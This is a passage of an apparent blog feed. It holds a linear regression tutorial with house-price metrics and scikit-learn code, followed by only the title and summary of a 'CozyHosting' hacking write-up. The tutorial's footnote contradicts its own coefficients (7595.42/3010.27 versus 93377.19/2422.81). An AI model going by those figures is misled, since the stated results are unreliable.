data-attrs="{&quot;url&quot;:&quot;https://datawrapper.dwcdn.net/BVd4M/1/&quot;,&quot;thumbnail_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c25ed2af-7eb5-4925-ad52-266939bbbda5_1260x660.png&quot;,&quot;thumbnail_url_full&quot;:&quot;&quot;,&quot;height&quot;:271,&quot;title&quot;:&quot;| Created with Datawrapper&quot;,&quot;description&quot;:&quot;Create interactive, responsive &amp; beautiful charts &#8212; no code required.&quot;,&quot;belowTheFold&quot;:false}" data-component-name="DatawrapperToDOM"><iframe id="iframe-datawrapper" class="datawrapper-iframe" src="https://datawrapper.dwcdn.net/BVd4M/1/" width="730" height="271" frameborder="0" scrolling="no"></iframe><script type="text/javascript">!function(){"use strict";window.addEventListener("message",(function(e){if(void 0!==e.data["datawrapper-height"]){var t=document.querySelectorAll("iframe");for(var a in e.data["datawrapper-height"])for(var r=0;r<t.length;r++){if(t[r].contentWindow===e.source)t[r].style.height=e.data["datawrapper-height"][a]+"px"}}}))}();</script></div><p>Using linear regression on this data, we might find the following relationship:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;y=150+5x&quot;,&quot;id&quot;:&quot;MEHSGCGUVB&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Here:</p><ul><li><p><em><strong>y</strong></em>: The height of someone being predicted.</p></li><li><p><strong>150</strong>: Represents the intercept of y and x. That is, if the shoe size were hypothetically 0, the height would be 150cm.</p></li><li><p><strong>5</strong><em><strong>x</strong></em>: Represents the slope of the relationships. For each additional unit increase in shoe size, the height increases by 5 cm.</p></li></ul><p>To predict the height of someone with an 8.5 shoe size, we start with a base height of 150 and add 5cm for every value incremented in shoe size starting from 0. We then multiply 8.5 by 5.</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;y=150+5&#215;8.5&quot;,&quot;id&quot;:&quot;WMGHTGSKHH&quot;}" data-component-name="LatexBlockToDOM"></div><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;y=150+42.5&quot;,&quot;id&quot;:&quot;ZMFEVTYKEW&quot;}" data-component-name="LatexBlockToDOM"></div><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;y=192.5&quot;,&quot;id&quot;:&quot;AYESBZDFXO&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>So, the predicted height of someone with a shoe size of 8.5 is 192.5 cm.</p><p>Linear regression involves fitting the &#8220;line of best fit&#8221; to the data. In this case, it represents a perfect relationship: for every 5 cm increase in height, there is an increase of 1 in shoe size.</p><div id="datawrapper-iframe" class="datawrapper-wrap outer" data-attrs="{&quot;url&quot;:&quot;https://datawrapper.dwcdn.net/uRI95/1/&quot;,&quot;thumbnail_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8c183b60-9e57-45ff-8431-f84be62d5217_1260x660.png&quot;,&quot;thumbnail_url_full&quot;:&quot;&quot;,&quot;height&quot;:353,&quot;title&quot;:&quot;| Created with Datawrapper&quot;,&quot;description&quot;:&quot;Create interactive, responsive &amp; beautiful charts &#8212; no code required.&quot;,&quot;belowTheFold&quot;:true}" data-component-name="DatawrapperToDOM"><iframe id="iframe-datawrapper" class="datawrapper-iframe" src="https://datawrapper.dwcdn.net/uRI95/1/" width="730" height="353" frameborder="0" scrolling="no" loading="lazy"></iframe><script type="text/javascript">!function(){"use strict";window.addEventListener("message",(function(e){if(void 0!==e.data["datawrapper-height"]){var t=document.querySelectorAll("iframe");for(var a in e.data["datawrapper-height"])for(var r=0;r<t.length;r++){if(t[r].contentWindow===e.source)t[r].style.height=e.data["datawrapper-height"][a]+"px"}}}))}();</script></div><p>You can imagine that with less perfect data, not all of the data points would intercept with the line.</p><h2>Regression as a Type of Supervised Machine Learning</h2><p>Regression falls under the category of supervised machine learning. In supervised learning, the model is trained on a labelled dataset, meaning each training example consists of input features and the corresponding known output label. The model learns to map inputs to outputs by identifying patterns in the training data.</p><h3>Key Characteristics of Supervised Learning:</h3><ol><li><p><strong>Labelled Data</strong>: The training dataset includes input-output pairs where the output is a known value.</p></li><li><p><strong>Prediction Task</strong>: The goal is to predict the output label for new data based on the learned relationship from the training data.</p></li></ol><h2>Types of Regression</h2><p>There are various types of regression algorithms, each suitable for different types of data and relationships:</p><ol><li><p><strong>Linear Regression</strong>: Models the relationship between the input features and output as a straight line.</p></li><li><p><strong>Polynomial Regression</strong>: Models the relationship as a polynomial, suitable for more complex, non-linear data.</p></li><li><p><strong>Ridge and Lasso Regression</strong>: Regularised versions of linear regression that add penalty terms to prevent overfitting.</p></li></ol><h2>The Training Process for Regression Models</h2><ol><li><p><strong>Data Splitting</strong>: Randomly split the training data to create a dataset for training the model while holding back a subset of the data to validate the trained model.</p></li><li><p><strong>Model Training</strong>: Fit the training data to a model using an algorithm, such as linear regression.</p></li><li><p><strong>Model Validation</strong>: Test the model using the validation data by predicting labels for the features.</p></li><li><p><strong>Performance Evaluation</strong>: Compare the actual labels in the validation dataset to the predicted labels. Aggregate the differences between predicted and actual label values to calculate a metric indicating the model's accuracy.</p></li><li><p><strong>Iterative Refinement</strong>: Adjust the algorithm and parameters and repeat the training and validation process until the model achieves an acceptable level of predictive accuracy.</p></li></ol><div><hr></div><h1>Example: Predicting House Prices</h1><p>Let's explore regression with an example. We have a data set of house prices and their corresponding size</p><div id="datawrapper-iframe" class="datawrapper-wrap outer" data-attrs="{&quot;url&quot;:&quot;https://datawrapper.dwcdn.net/s0vFw/1/&quot;,&quot;thumbnail_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/99a4aa48-41e1-40ce-b0ad-3496b4a2066f_1260x660.png&quot;,&quot;thumbnail_url_full&quot;:&quot;&quot;,&quot;height&quot;:839,&quot;title&quot;:&quot;| Created with Datawrapper&quot;,&quot;description&quot;:&quot;Create interactive, responsive &amp; beautiful charts &#8212; no code required.&quot;,&quot;belowTheFold&quot;:true}" data-component-name="DatawrapperToDOM"><iframe id="iframe-datawrapper" class="datawrapper-iframe" src="https://datawrapper.dwcdn.net/s0vFw/1/" width="730" height="839" frameborder="0" scrolling="no" loading="lazy"></iframe><script type="text/javascript">!function(){"use strict";window.addEventListener("message",(function(e){if(void 0!==e.data["datawrapper-height"]){var t=document.querySelectorAll("iframe");for(var a in e.data["datawrapper-height"])for(var r=0;r<t.length;r++){if(t[r].contentWindow===e.source)t[r].style.height=e.data["datawrapper-height"][a]+"px"}}}))}();</script></div><p>We split the dataset to form a training set, which will be used to train a model to predict house prices (<em><strong>y</strong></em>) based on house size (<em><strong>x</strong></em>) in square meters. The held-back data will be used during the evaluation.</p><div id="datawrapper-iframe" class="datawrapper-wrap outer" data-attrs="{&quot;url&quot;:&quot;https://datawrapper.dwcdn.net/MhqQa/1/&quot;,&quot;thumbnail_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/39292d21-bdbd-4ed4-b76a-209a4e45db57_1260x660.png&quot;,&quot;thumbnail_url_full&quot;:&quot;&quot;,&quot;height&quot;:911,&quot;title&quot;:&quot;Training data&quot;,&quot;description&quot;:&quot;Create interactive, responsive &amp; beautiful charts &#8212; no code required.&quot;,&quot;belowTheFold&quot;:true}" data-component-name="DatawrapperToDOM"><iframe id="iframe-datawrapper" class="datawrapper-iframe" src="https://datawrapper.dwcdn.net/MhqQa/1/" width="730" height="911" frameborder="0" scrolling="no" loading="lazy"></iframe><script type="text/javascript">!function(){"use strict";window.addEventListener("message",(function(e){if(void 0!==e.data["datawrapper-height"]){var t=document.querySelectorAll("iframe");for(var a in e.data["datawrapper-height"])for(var r=0;r<t.length;r++){if(t[r].contentWindow===e.source)t[r].style.height=e.data["datawrapper-height"][a]+"px"}}}))}();</script></div><h2>Applying Linear Regression</h2><p>We can plot the relationship between house size and price on a graph and fit a linear regression line to understand the relationship between the two variables.</p><div id="datawrapper-iframe" class="datawrapper-wrap outer" data-attrs="{&quot;url&quot;:&quot;https://datawrapper.dwcdn.net/DJ2lp/1/&quot;,&quot;thumbnail_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/60dc168a-a766-4ac3-94b5-f15c59a8dc12_1260x660.png&quot;,&quot;thumbnail_url_full&quot;:&quot;&quot;,&quot;height&quot;:353,&quot;title&quot;:&quot;| Created with Datawrapper&quot;,&quot;description&quot;:&quot;Create interactive, responsive &amp; beautiful charts &#8212; no code required.&quot;,&quot;belowTheFold&quot;:true}" data-component-name="DatawrapperToDOM"><iframe id="iframe-datawrapper" class="datawrapper-iframe" src="https://datawrapper.dwcdn.net/DJ2lp/1/" width="730" height="353" frameborder="0" scrolling="no" loading="lazy"></iframe><script type="text/javascript">!function(){"use strict";window.addEventListener("message",(function(e){if(void 0!==e.data["datawrapper-height"]){var t=document.querySelectorAll("iframe");for(var a in e.data["datawrapper-height"])for(var r=0;r<t.length;r++){if(t[r].contentWindow===e.source)t[r].style.height=e.data["datawrapper-height"][a]+"px"}}}))}();</script></div><p>The function<a class="footnote-anchor" data-component-name="FootnoteAnchorToDOM" id="footnote-anchor-1" href="#footnote-1" target="_self">1</a> derived by the linear regression algorithm for this data can be represented as:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;f(x)=7595.42+3010.27x&quot;,&quot;id&quot;:&quot;PAHDOQKEJN&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>Where:</p><ul><li><p><em><strong>f(x)</strong></em>: denotes the function <em><strong>f </strong></em>is evaluated at <em><strong>x. </strong></em>In this context, the function <em><strong>f(x)</strong></em> represents the independent variable (<em><strong>x</strong></em> = house size) and predicts the value of the dependent variable (<em><strong>y</strong></em> = house price).</p></li><li><p><strong>7595.42</strong>: This is the intercept term, which is the predicted house price (<em><strong>y</strong></em>) when the house size (<em><strong>x</strong></em>) is 0 square metres. </p></li><li><p><strong>+3010.27</strong><em><strong>x</strong></em>: This term represents the slope and indicates that for every one-unit increase in <em><strong>x</strong></em> (house size), the value of the function <em><strong>f(x) </strong></em>will increase by $3,010.27.</p></li></ul><p>How are the coefficients calculated? Check out the footnote.</p><p>In the context of predicting house prices based on house size:</p><ul><li><p><strong>House Size (</strong><em><strong>x</strong></em><strong>)</strong>: The independent variable (input feature) represents the size of the house in square meters.</p></li><li><p><strong>House Price function </strong><em><strong>f(x): </strong></em>The dependent variable (output) represents the house's predicted price.</p></li></ul><p>We can use this regression function to predict house prices for any given size. For example, if the house size is 85 square meters, the model predicts:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;f(x)=7595.42+3010.27x&quot;,&quot;id&quot;:&quot;KMZEPWBTOF&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;f(85)=7595.42+3010.27 \\times 85&quot;,&quot;id&quot;:&quot;XYYLRLYMQV&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;f(85)=7595.42+255872.95&quot;,&quot;id&quot;:&quot;NPTRHXHASG&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;f(85)=263468.37&quot;,&quot;id&quot;:&quot;CYJQASVSOS&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>So, the predicted price for a house size of 85 square meters is approximately $263,468.37.</p><div><hr></div><h2>Evaluating the Model</h2><p>To validate and evaluate the model's accuracy, we predict some values (<em><strong>&#375;</strong></em><strong>) </strong>based on the held-back data and compare them to the actual values (<em><strong>y</strong></em>) of the held-back data to evaluate performance.</p><div id="datawrapper-iframe" class="datawrapper-wrap outer" data-attrs="{&quot;url&quot;:&quot;https://datawrapper.dwcdn.net/GsnO9/1/&quot;,&quot;thumbnail_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/e34da000-b740-43b3-80c4-c0fd04977178_1260x660.png&quot;,&quot;thumbnail_url_full&quot;:&quot;&quot;,&quot;height&quot;:268,&quot;title&quot;:&quot;Predicted house prices&quot;,&quot;description&quot;:&quot;Create interactive, responsive &amp; beautiful charts &#8212; no code required.&quot;,&quot;belowTheFold&quot;:true}" data-component-name="DatawrapperToDOM"><iframe id="iframe-datawrapper" class="datawrapper-iframe" src="https://datawrapper.dwcdn.net/GsnO9/1/" width="730" height="268" frameborder="0" scrolling="no" loading="lazy"></iframe><script type="text/javascript">!function(){"use strict";window.addEventListener("message",(function(e){if(void 0!==e.data["datawrapper-height"]){var t=document.querySelectorAll("iframe");for(var a in e.data["datawrapper-height"])for(var r=0;r<t.length;r++){if(t[r].contentWindow===e.source)t[r].style.height=e.data["datawrapper-height"][a]+"px"}}}))}();</script></div><div id="datawrapper-iframe" class="datawrapper-wrap outer" data-attrs="{&quot;url&quot;:&quot;https://datawrapper.dwcdn.net/OBd0a/1/&quot;,&quot;thumbnail_url&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9eb44611-865e-412b-b6ad-64dda44f3c76_1260x660.png&quot;,&quot;thumbnail_url_full&quot;:&quot;&quot;,&quot;height&quot;:233,&quot;title&quot;:&quot;| Created with Datawrapper&quot;,&quot;description&quot;:&quot;Create interactive, responsive &amp; beautiful charts &#8212; no code required.&quot;,&quot;belowTheFold&quot;:true}" data-component-name="DatawrapperToDOM"><iframe id="iframe-datawrapper" class="datawrapper-iframe" src="https://datawrapper.dwcdn.net/OBd0a/1/" width="730" height="233" frameborder="0" scrolling="no" loading="lazy"></iframe><script type="text/javascript">!function(){"use strict";window.addEventListener("message",(function(e){if(void 0!==e.data["datawrapper-height"]){var t=document.querySelectorAll("iframe");for(var a in e.data["datawrapper-height"])for(var r=0;r<t.length;r++){if(t[r].contentWindow===e.source)t[r].style.height=e.data["datawrapper-height"][a]+"px"}}}))}();</script></div><p></p><p>We can measure the model's performance using various metrics by comparing the predicted values (&#375;) to the actual values (y) of the held-back data.</p><h2>Mean Absolute Error (MAE)</h2><p>Mean Absolute Error (MAE) measures the average magnitude of the errors in a set of predictions without considering their direction. It is the average of the absolute differences between prediction and actual observation over the test sample, where all individual differences have equal weight.</p><p>In this example, the variance indicates how many dollars each prediction was wrong. Importantly, it doesn&#8217;t matter if the prediction was over or under; it is simply a measure of variance.</p><p>In the house price example, the mean (average) of absolute errors is $8,207.36. </p><p>The formula is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\text{MAE} = \\frac{1}{n} \\sum_{i=1}^{n} | y_i - \\hat{y}_i |&quot;,&quot;id&quot;:&quot;OWJXFQYFES&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h2>Mean Squared Error (MSE)</h2><p>Mean Squared Error (MSE) measures the average of the squares of the errors&#8212;that is, the average squared difference between the estimated values and the actual value.</p><p>This metric treats all discrepancies between predicted and actual labels equally. It may be preferable to have a model that is slightly off all the time rather than one that makes fewer but more significant errors. Squaring the individual errors and then calculating the mean of these squared values emphasizes the larger errors.</p><p>In the house price example, the MSE is 94,049,732.32.</p><p>The formula is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\text{MSE} = \\frac{1}{n} \\sum_{i=1}^{n} ( y_i - \\hat{y}_i )^2&quot;,&quot;id&quot;:&quot;BKVJWYLKHM&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h2>Root Mean Squared Error (RMSE)</h2><p>Root Mean Squared Error (RMSE) is the square root of the MSE. It is a frequently used measure that quantifies the differences between values predicted by a model and the observed values. RMSE takes the magnitude of errors into account by squaring them, but as a result, the metric is in squared units of the original label. Thus, stating that the MSE of our model is XX does not provide a direct measure of the error in terms of the original units (dollars, in this case). The MSE is simply a numeric score indicating the overall error level in the validation predictions.</p><p>To express the error in terms of dollars, we take the square root of the MSE.</p><p>In the house price example, the RMSE is $9,699.99</p><p>The formula is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\text{RMSE} = \\sqrt{ \\frac{1}{n} \\sum_{i=1}^{n} ( y_i - \\hat{y}_i )^2 }&quot;,&quot;id&quot;:&quot;CZQKMCXMNL&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h2>Coefficient of Determination (R&#178;)</h2><p>The Coefficient of Determination (R&#178;) is a statistical measure that explains how much of the variability in a dependent variable can be explained by its relationship with an independent variable. In regression, the R&#178; coefficient of determination measures how well the regression predictions approximate the actual data points. An R&#178; of 1 indicates that the regression predictions perfectly fit the data.</p><p>This metric compares the sum of squared differences between the predicted and actual labels (residual sum of squares) with the sum of squared differences between the actual label values and the mean of the actual values (total sum of squares).</p><p>The resulting value will be between 0 and 1. The closer the value is to 1, the better the model fits the validation data.</p><p>In the house price example, the R&#178; calculated from the validation data is 0.9996.</p><p>The formula is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;R^2 = 1 - \\frac{ \\sum_{i=1}^{n} ( y_i - \\hat{y}_i )^2 }{ \\sum_{i=1}^{n} ( y_i - \\bar{y} )^2 }&quot;,&quot;id&quot;:&quot;DACTBSRTKM&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h2>Adjusted R&#178;</h2><p>Adjusted R&#178; adjusts the R&#178; statistic based on the number of independent variables in the model. Unlike R&#178;, it does not always increase when adding a new predictor. This is because Adjusted R&#178; considers the number of predictors relative to the number of data points, penalizing the addition of predictors that do not significantly improve the model.</p><h3>Why Adjusted R&#178; is a Better Measure for Comparing Models</h3><ol><li><p><strong>Penalises Overfitting</strong>: R&#178; always increases or stays the same when more predictors are added to the model, regardless of whether the new predictors are actually useful. This can lead to overfitting, where the model fits the training data well but performs poorly on new, unseen data. Adjusted R&#178;, on the other hand, increases only if the new predictor improves the model more than would be expected by chance. If the new predictor does not provide a meaningful improvement, Adjusted R&#178; can decrease.</p></li><li><p><strong>Accounts for the Number of Predictors</strong>: Adjusted R&#178; incorporates the number of predictors (p) and the number of observations (n) into its calculation. This means that models with more predictors are not unfairly favoured. The formula for Adjusted R&#178; is:</p></li></ol><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\text{Adjusted } R^2 = 1 - \\left( \\frac{(1 - R^2)(n - 1)}{n - p - 1} \\right)\n&quot;,&quot;id&quot;:&quot;PNHCWPONWZ&quot;}" data-component-name="LatexBlockToDOM"></div><p>where R&#178; is the coefficient of determination, <em><strong>n </strong></em>is the number of observations, and <em><strong>p </strong></em>is the number of predictors.</p><ol start="3"><li><p><strong>Better Comparison</strong>: Because Adjusted R&#178; penalizes models for having unnecessary predictors, it provides a more accurate measure of model performance when comparing models with different numbers of predictors. This makes it a better tool for model selection, especially when dealing with complex models.</p></li></ol><p>Adjusted R&#178; is a more reliable statistic for comparing models because it adjusts for the number of predictors. This helps to avoid overfitting and provides a clearer picture of model performance. It also ensures that only predictors that genuinely improve the model are favoured.</p><p>In the house price example, the Adjusted R&#178; is 0.9996.</p><h3>Mean Bias Deviation (MBD)</h3><p>Mean Bias Deviation (MBD) measures the average bias in the model predictions. It provides an indication of whether the model tends to overpredict or underpredict. Unlike other error metrics that focus on the magnitude of errors, MBD specifically evaluates the direction of the errors, giving insights into the systematic bias present in the model.</p><p>In the house price example, the MBD is $8,207.36</p><p>The formula is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\text{MBD} = \\frac{1}{n} \\sum_{i=1}^{n} ( y_i - \\hat{y}_i )&quot;,&quot;id&quot;:&quot;GMDMEGGYRM&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h3>Mean Absolute Percentage Error (MAPE)</h3><p>Mean Absolute Percentage Error (MAPE) measures a forecasting method's accuracy in terms of percentage error. It is a commonly used metric in regression analysis to assess a model's prediction accuracy. The MAPE is expressed as a percentage, which makes it easier to interpret and compare across different datasets and models.</p><p>In the house house price example, the MAPE is 2.02%</p><p>The formula is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\text{MAPE} = \\frac{100\\%}{n} \\sum_{i=1}^{n} \\left| \\frac{ y_i - \\hat{y}_i }{ y_i } \\right|&quot;,&quot;id&quot;:&quot;YHPBDKFBFW&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><div><hr></div><h1>Iterative Training</h1><p>The training process is typically iterative. Data scientists repeatedly train and evaluate a model, varying:</p><ul><li><p><strong>Feature Selection and Preparation</strong>: Choosing which features to include and how to preprocess them.</p></li><li><p><strong>Algorithm Selection</strong>: Exploring different regression algorithms.</p></li><li><p><strong>Hyperparameters</strong>: Adjusting the numeric settings that control algorithm behaviour.</p></li></ul><p>After multiple iterations, the model that yields the best evaluation metrics is selected for use.</p><div class="footnote" data-component-name="FootnoteToDOM"><a id="footnote-1" href="#footnote-anchor-1" class="footnote-number" contenteditable="false" target="_self">1</a><div class="footnote-content"><h3>Determining the regression algorithm</h3><p>To determine the regression algorithm for the dataset in question, we can use linear regression to fit a line that best describes the relationship between the house size (independent variable <em><strong>x</strong></em>) and the house price (dependent variable <em><strong>y</strong></em>).</p><h4>Steps to Find the Linear Regression Model</h4><ol><li><p><strong>Prepare the Data</strong>: List the house sizes and corresponding prices.</p></li><li><p><strong>Compute the Regression Coefficients</strong>: Find the slope (&#946;1)&#8203; and intercept (&#946;0&#8203;&#8203;) of the best-fit line.</p></li><li><p><strong>Construct the Regression Equation</strong>: Use the calculated coefficients to form the regression equation:</p></li></ol><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;y= \\beta_0 + \\beta_1&#8203;x&quot;,&quot;id&quot;:&quot;MCYUBVMFWS&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4>Using Python for Linear Regression</h4><p>We can use Python's <code>numpy</code> and <code>scikit-learn</code> libraries to perform linear regression and find the coefficients &#946;0 (intercept) and &#946;1 (slope)</p><pre><code>import numpy as np
import pandas as pd
from sklearn.linear_model import LinearRegression

# Data
data = {
    'House Size (x)': [
        55, 65, 75, 80, 85, 95, 100, 110, 120, 135, 140, 50, 55, 70, 80, 85, 90, 95, 100, 105,
        110, 115, 120, 125, 130, 135, 140, 145, 65, 75, 125
    ],
    'House Price (y)': [
        158000, 182000, 230000, 245000, 248000, 285000, 297000, 340000, 360000, 400000, 430000, 
        155000, 158000, 220000, 245000, 248000, 280000, 285000, 297000, 310000, 340000, 345000, 
        360000, 375000, 395000, 400000, 430000, 435000, 182000, 230000, 375000
    ]
}

df = pd.DataFrame(data)

# Features and Labels
X = df[['House Size (x)']]
y = df['House Price (y)']

# Model
model = LinearRegression()
model.fit(X, y)

# Coefficients
intercept = model.intercept_
slope = model.coef_[0]

print(f"Intercept (&#946;&#8320;): {intercept}")
print(f"Slope (&#946;&#8321;): {slope}")

# Regression Equation
print(f"Regression Equation: y = {intercept} + {slope}x")</code></pre><h5>Output</h5><pre><code>Intercept (&#946;&#8320;): 7595.42
Slope (&#946;&#8321;): 3010.27
</code></pre><h4>Regression Equation</h4><p>Based on the linear regression model, the regression equation is:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;y=7595.42+3010.27x&quot;,&quot;id&quot;:&quot;QCAEEOXTFF&quot;}" data-component-name="LatexBlockToDOM"></div><p>This equation means that:</p><ul><li><p>The intercept (&#946;0&#8203;) is approximately 93377.19, which is the predicted house price when the house size is 0 square meters.</p></li><li><p>The slope (&#946;1&#8203;) is approximately 2422.81, indicating that for each additional square meter of house size, the house price increases by about $2422.81.</p></li></ul><p>which can be expressed as:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;f(x)=7595.42+3010.27x&quot;,&quot;id&quot;:&quot;GLCPLVKJPF&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p>How are the coefficients actually calculated, you ask?</p><p>Below are the step-by-step calculations for finding the coefficients (intercept and slope)</p><h3>Computing coefficients</h3><h4>Definitions</h4><ul><li><p><em><strong>xi</strong></em>&#8203;: The <em>i-th</em> value of the independent variable (input feature).</p></li><li><p><em><strong>yi</strong></em>&#8203;: The <em>i-th</em> value of the dependent variable (output label).</p></li><li><p><em><strong>x&#772;</strong></em>: The mean of the independent variable values.</p></li><li><p><strong>y&#772;</strong>&#8203;: The mean of the dependent variable values.</p></li><li><p><em><strong>n</strong></em>: The number of observations.</p></li></ul><h4>Formulas for the Coefficients</h4><p> <strong>Slope (&#946;1)</strong></p><p> The slope &#946;1&#8203; is calculated as:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\beta_1 = \\frac{\\sum_{i=1}^{n} (x_i - \\bar{x})(y_i - \\bar{y})}{\\sum_{i=1}^{n} (x_i - \\bar{x})^2}&quot;,&quot;id&quot;:&quot;ZMHMUOBYLU&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p><strong>Intercept (&#946;0)</strong></p><p>The intercept &#946;0&#8203; is calculated as:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\beta_0 = \\bar{y} - \\beta_1 \\bar{x}&quot;,&quot;id&quot;:&quot;YJIVXYQIGX&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><h4>Step-by-Step Calculation</h4><p><strong>1- Calculate the means</strong>:</p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\bar{x} = \\frac{1}{n} \\sum_{i=1}^{n} x_i\n&quot;,&quot;id&quot;:&quot;NBAAUMWMXF&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\bar{y} = \\frac{1}{n} \\sum_{i=1}^{n} y_i\n&quot;,&quot;id&quot;:&quot;QNVMORCOTB&quot;}" data-component-name="LatexBlockToDOM"></div><p>  </p><p><strong>2- Calculate the slope (&#946;1&#8203;)</strong>:</p><ul><li><p>Compute the numerator:</p></li></ul><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\sum_{i=1}^{n} (x_i - \\bar{x})(y_i - \\bar{y})\n&quot;,&quot;id&quot;:&quot;RMFWRNRNEY&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><ul><li><p>Compute the denominator:</p></li></ul><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\sum_{i=1}^{n} (x_i - \\bar{x})^2\n&quot;,&quot;id&quot;:&quot;ZBPOCCVXFO&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><ul><li><p>Divide the numerator by the denominator to get &#946;1&#8203;:</p></li></ul><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\beta_1 = \\frac{\\sum_{i=1}^{n} (x_i - \\bar{x})(y_i - \\bar{y})}{\\sum_{i=1}^{n} (x_i - \\bar{x})^2}\n&quot;,&quot;id&quot;:&quot;UZOYLHIHOU&quot;}" data-component-name="LatexBlockToDOM"></div><p></p><p><strong>3 - Calcualte the intercept (&#946;0&#8203;):</strong></p><ul><li><p>Use the mean values and the slope to find &#946;0&#8203;:</p></li></ul><div class="latex-rendered" data-attrs="{&quot;persistentExpression&quot;:&quot;\\beta_0 = \\bar{y} - \\beta_1 \\bar{x}&quot;,&quot;id&quot;:&quot;OMYSKMRNON&quot;}" data-component-name="LatexBlockToDOM"></div><p> </p></div></div>]]></content:encoded></item><item><title><![CDATA[CozyHosting]]></title><description><![CDATA[Exposed APIs, session hijacking, and sudo misconfiguration.]]></description><link>https://www.emdeh.com/p/cozyhosting</link><guid isPermaLink="false">https://www.emdeh.com/p/cozyhosting</guid><dc:creator><![CDATA[emdeh]]></dc:creator><pubDate>Mon, 10 Jun 2024 05:35:58 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!4zrd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!4zrd!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!4zrd!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png 424w, https://substackcdn.com/image/fetch/$s_!4zrd!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png 848w, https://substackcdn.com/image/fetch/$s_!4zrd!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png 1272w, https://substackcdn.com/image/fetch/$s_!4zrd!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!4zrd!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff69fa6e9-522e-4f73-bf01-295101a54007_1400x1138.png" width="1400" height="1138" 